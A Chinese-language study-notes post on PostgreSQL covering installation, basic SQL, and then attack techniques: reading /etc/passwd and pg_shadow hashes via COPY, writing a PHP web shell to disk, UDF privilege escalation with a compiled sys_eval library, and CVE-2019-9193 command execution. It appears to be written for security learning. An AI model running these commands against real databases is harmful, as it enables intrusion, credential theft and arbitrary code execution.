PostgreSQL 数据库学习
前言
最近多次遇到PostgreSQL数据库,只会一键提权,究其细节,不甚了解,这里学习一番。
PostgreSQL 数据库安装
选择在centos上安装。
参考 CentOS安装PostgreSQL
安装rpm文件
yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
安装客户端
yum install postgresql10
安装服务端
yum install postgresql10-server
初始化
/usr/pgsql-10/bin/postgresql-10-setup initdb
启动postgresql服务
systemctl start postgresql-10
postgres用户登录
su - postgres
注:postgresql 安装后自动创建postgres用户,无密码
登录postgresql数据库
psql
开启远程访问
- 修改
/var/lib/pgsql/10/data/postgresql.conf
文件,取消 listen_addresses 的注释,将参数值改为"*"
- 修改
/var/lib/pgsql/10/data/pg_hba.conf
文件,增加host被访问
host all all 0.0.0.0/0 md5
image.png
做完上面的两个修改应该就可以了,如果还不行,查看是否关闭了防火墙。
PostgreSQL 数据库语句
命令行连接postgres的两种方式
psql postgres://username:password@host:port/dbname
username:连接数据的用户名,默认值是postgres
password:密码,默认值是postgres
host:主机名,默认值是localhost
port:端口,默认值是5432
dbname:要连接的数据库名,默认值是postgres
psql -U postgres -h 10.211.55.30 -p 5432 -d postgres
-U username 用户名,默认值postgres
-h hostname 主机名,默认值localhost
-p port 端口号,默认值5432
-d dbname 要连接的数据库名,默认值postgres
控制台命令
\h:查看SQL命令的解释,比如\h select。
\?:查看psql命令列表。
\l:列出所有数据库。
\c [database_name]:连接其他数据库。
\d:列出当前数据库的所有表格。
\d [table_name]:列出某一张表格的结构。
\du:列出所有用户。
\e:打开文本编辑器。
\conninfo:列出当前数据库和连接的信息
创建数据库
create database runoobdb;
连接数据库
\c runoobdb;
创建表
CREATE TABLE COMPANY(
ID INT PRIMARY KEY NOT NULL,
NAME TEXT NOT NULL,
AGE INT NOT NULL,
ADDRESS CHAR(50),
SALARY REAL,
JOIN_DATE DATE
);
删除表
drop table company;
插入数据
INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY,JOIN_DATE) VALUES (1, 'Paul', 32, 'California', 20000.00,'2001-07-13');
查询语句
select * from company;
查看版本信息
select version();
查看postgresql数据库密码
SELECT usename, passwd FROM pg_shadow;
需要注意的是postgresql的密码是md5(user+password)
修改密码
alter user postgres with encrypted password '1';
查看postgresql目录
SELECT setting FROM pg_settings WHERE name='data_directory';
添加管理员
create user test password '12345' superuser createrole createdb;
查看用户权限
select * from pg_roles;
数据库读取文件
drop table hash;
create table hash(hash TEXT);
copy hash from '/etc/passwd';
select *from hash;
数据库写入文件
drop table test;
create table test (t TEXT);
insert into test(t) values ('<?php @system("$_GET[x]");?>');
select * from test;
copy test(t) to '/tmp/cmd.php';
注:数据库的读、写操作权限比较低,无法读取、写入到/var/www/html/下
PostgreSQL 数据库提权
UDF 提权
UDF我的理解就是用户自定义函数来执行系统命令。
8.2版本以下可以直接调用系统的动态链接库/lib/libc.so.6或者/lib64/libc.so.6,未测试该版本。再次做个记录。
CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
select system('id');
8.2及以上版本可直接利用sqlmap/data/udf中所提供的udf文件
但是在创建函数时提示 ELF 头错误。
也可以利用 udfhack 生成任意udf文件。
如:在postgresql 10.17 版本上进行udf提权。
先下载postgresql 10.17 版本 https://ftp.postgresql.org/pub/source/v10.17/postgresql-10.17.tar.gz 的源码。
下载解压切换到postgresql 目录下进行编译安装。
./configure -prefix=/usr/local/pgsql --without-readline --without-zlib
make
make install
编译后,会在/usr/local/pgsql/include/server/
目录下生成postgres.h文件。
因为lib_postgresqludf_sys.c文件需要
git clone https://github.com/sqlmapproject/udfhack
cd udfhack/linux/lib_postgresqludf_sys
gcc -Wall -I/usr/local/pgsql/include/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
xxd -pe lib_postgresqludf_sys.so | tr -d '\n' > 1.txt #将so文件hex后去除\n并输出到1.txt
写入生成的udf文件
select lo_from_bytea(9999, '\x......'); # 创建一个大对象并存储数据,返回它的OID
select lo_export(9999,'/tmp/udf.so'); # 将对象导出到/tmp/udf.so恶意动态链接库
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; # 创建sys_eval函数
select sys_eval('id'); # 执行命令
drop function sys_eval; # 删除sys_eval函数
select lo_unlink(oid) from pg_largeobject_metadata where lomowner = 10 limit 20000; # 删除大对象
image.png
也可以正常反弹
image.png在某些时候需要将so文件分段写入,比如url编码过长的时候。
所以需要python脚本分割so文件
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + " inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
然后分段写入sql语句
SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('7f454c4....', 'hex'));
insert into pg_largeobject values (9023, 1, decode('020002....', 'hex'));
insert into pg_largeobject values (9023, 2, decode('000000....', 'hex'));
insert into pg_largeobject values (9023, 3, decode('000000....', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20....', 'hex'));
insert into pg_largeobject values (9023, 5, decode('7f454c4....', 'hex'));
insert into pg_largeobject values (9023, 6, decode('640000....', 'hex'));
SELECT lo_export(9023, '/tmp/udf_sys.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
CVE-2019-9193
从9.3版本开始,PostgreSQL数据库出现了一处"特性",具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性来执行任意命令。
drop table if exists cmd_exec; # 如果指定表不存在则跳过,如果指定表存在则删除
create table cmd_exec(output text); # 创建cmd_exec 数据表
copy cmd_exec from program 'id'; # copy专门在表和文件拷贝数据,program就是需要执行的程序名字,也可以直接理解为系统命令
select * from cmd_exec;
image.png
其他
也可以利用 ssl_passphrase_command 进行RCE,不过查找资料发现该利用的条件很苛刻,需要满足postgresql 11 版本向上、服务器需要开启SSL、一些配置还需要服务重启。有兴趣的可以看这篇文章:
https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/
复现CVE-2018-1058 漏洞更是鸡肋,只能使用select查询语句,无法添加用户,且管理员执行pg_dump命令时才会触发该漏洞。即使查询到,管理员密码也是md5(user+password)。
总结
学习了PostgreSQL数据库的基础操作,最常用的两种提权方式UDF提权和CVE-2019-9193执行系统命令。以及另外的一些提权方式,因为可利用性暂时没有详细了解。
参考资料
https://www.runoob.com/postgresql/postgresql-create-database.html
http://www.ruanyifeng.com/blog/2013/12/getting_started_with_postgresql.html
https://www.x1a0t.com/2020/05/25/Attack-Database-Postgresql/
http://www.postgres.cn/docs/9.4/lo-funcs.html
https://www.jianshu.com/p/ba0297da2c2e
https://pulsesecurity.co.nz/articles/postgres-sqli